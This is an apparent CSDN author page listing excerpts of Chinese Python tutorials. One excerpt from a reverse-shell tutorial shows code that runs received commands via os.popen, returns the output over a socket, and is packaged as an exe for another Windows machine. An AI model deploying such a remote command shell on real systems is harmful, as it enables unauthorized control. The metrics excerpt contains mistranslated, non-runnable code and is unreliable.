![](https://img-blog.csdnimg.cn/20201014180756780.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
程序员
文章平均质量分 86
rrrrrwhwyh
这个作者很懒,什么都没留下…
展开
-
python机器学习评估指标,阿里专家原创
TN = 32FP = 8FN = 18精度 = ( TP + TN ) / ( TP + TN + FP + FN )打印(精度)输出:0.74假设我们有一个分类器,它总是预测“狗”。| | 预测类别 || — | — || 猫 | 狗 || 实际班级 | 猫 | 0 | 50 || 狗 | 0 | 50 |在这种情况下,我们的精度为 0.5:TP , TN , FP , FN = 0 , 50 , 50 , 0精度 = (TP +原创 2022-03-22 19:15:59 · 177 阅读 · 0 评论 -
python文件的打开、读取、关闭,2021新一波程序员跳槽季
file_obj = open(file_name) # 打开的文件对象print(file_obj)如果不懂路径相关的,open()函数因为找不到文件而报错,也可以直接把file_name变量名定义成 "路径+demo.txt"的格式。这样无论demo.txt文件放在哪里都是可以找到的。如图,open(file_name)成功创建出了一个对象。可以将文件分为2种类型,一种是纯文本文件(使用utf-8编码编写的文件)。一种是二进制文件(图片 mp3 视频…)open()打开文件原创 2022-03-22 19:14:09 · 1296 阅读 · 0 评论 -
python教程:正常shell与反弹shell,音视频时代你还不会NDK开发
result=os.popen(command).read()if result:con.send(result.encode())else:con.send(b"OK!")测试:(客户端(win10)、服务端(win7))1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,原创 2022-03-22 19:12:04 · 196 阅读 · 0 评论 -
Python对象的浅拷贝与深拷贝,不愧是阿里P8
赋值:b = a拷贝:b = a.copy()上面的两行代码究竟有什么不同呢?带着这个问题,继续看了上面这张图,相信大家已经对直接赋值和拷贝有了一个比较清楚的认识。直接赋值:复制一个对象的引用给新变量拷贝:复制一个对象到新的内存地址空间,并且将新变量引用到复制后的对象我们的深浅拷贝只是对于可变对象来讨论的。 不熟悉的朋友需要自己去了解可变对象与不可变对象哦。1. 对象的嵌套引用a = { “list”: [1,2,3] }上面的代码,在内存中是什么样子的呢?请看下图:原来,在我原创 2022-03-22 19:05:43 · 142 阅读 · 0 评论 -
Python头像动漫化,快来生成一个自己的动漫头像吧,带你一步一步深入Handler源码
import requestsdef get_access_token():获取token的APIurl = ‘https://aip.baidubce.com/oauth/2.0/token’获取access_token需要的参数params = {固定参数‘grant_type’:‘client_credentials’,必选参数,传入你的API Key‘client_id’:‘你的API Key’,必选参数,传入你的Secret Key‘client_secret’:‘你的S原创 2022-03-22 19:03:45 · 1345 阅读 · 1 评论 -
python多线程间的资源竞争、互斥锁与死锁,这些年Python面试的那些套路
可重入锁与不可重入锁死锁[]()多线程间的资源竞争===============================================================================以下列task1(),task2()两个函数为例,分别将对全局变量num加一重复一千万次循环(数据大一些,太小的话执行太快,达不到验证的效果)。import threadingimport timenum = 0def task1(nums):global numfor..原创 2022-03-22 19:01:35 · 127 阅读 · 0 评论 -
python获取list列表随机数据,这原因我服了
第二种方法适用于随机取一组值, 返回一个list‘’’遇到问题没人解答?小编创建了一个Python学习交流QQ群:531509025寻找有志同道合的小伙伴,互帮互助,群里还有不错的视频学习教程和PDF电子书!‘’’import randomlist1 = [‘佛山’, ‘南宁’, ‘北海’, ‘杭州’, ‘南昌’, ‘厦门’, ‘温州’]随机返回只有一个值的lista = random.sample(list1, 1)随机返回只有一个值的listb = random.sample(li原创 2022-03-21 13:01:57 · 666 阅读 · 0 评论 -
python爬虫selenium操作下拉框详解,谈谈我认为的高级Python开发到底应该是怎样的
不推荐这样定位select_elm = driver.find_element_by_class_name(‘nojs’).click()选中下拉框,点击driver.find_element_by_xpath(’//option[@value=“JP”]’).click()第一个下拉框的可选值如图所示选择下拉框中的值,有以下三种方法1.根据索引选择select_elm.select_by_index(2)符合索引规则,从0开始计数,自动选择了Canada值。2.根据值选择sel原创 2022-03-21 12:50:42 · 481 阅读 · 0 评论 -
python基础学习浅学深浅复制
1.深浅复制打比方:有糖纸和糖,深复制就相当于糖纸和糖,而浅复制就只有糖纸id(object)返回的是对象的“身份证号”(在c++中代表在内存中的地址),唯一且不变。令外,用is判断两个对象是否相等时,依据就是这个id值。id查看内存空间地址的。id查看的地址一样,可以说明它们指向的是同一片空间小知识点:a = [1,2,3,4]b = aid(a)id(b) #此时的a和b的id是一样的a.append(4)id(a)id(b) #此时的a和b的id还是一样的,而且没原创 2022-03-18 14:57:33 · 584 阅读 · 0 评论 -
python基础入门:高阶函数
什么是高阶函数变量可以指向函数,函数的参数能接收变量,那么一个函数就可以接收另一个函数作为参数,这种函数就称之为高阶函数def fun(x, y, f):print f(x), f(y)fun(1, -2, abs)结果:1 2内置高阶函数map函数map( ) 函数接收两个参数,一个是函数,一个是序列, map 将传入的函数依次作用到序列的每个元素,并把结果作为新的 list 返回‘’’遇到问题没人解答?小编创建了一个Python学习交流QQ群:778463939寻找有志同道合的小原创 2022-03-18 14:56:08 · 72 阅读 · 0 评论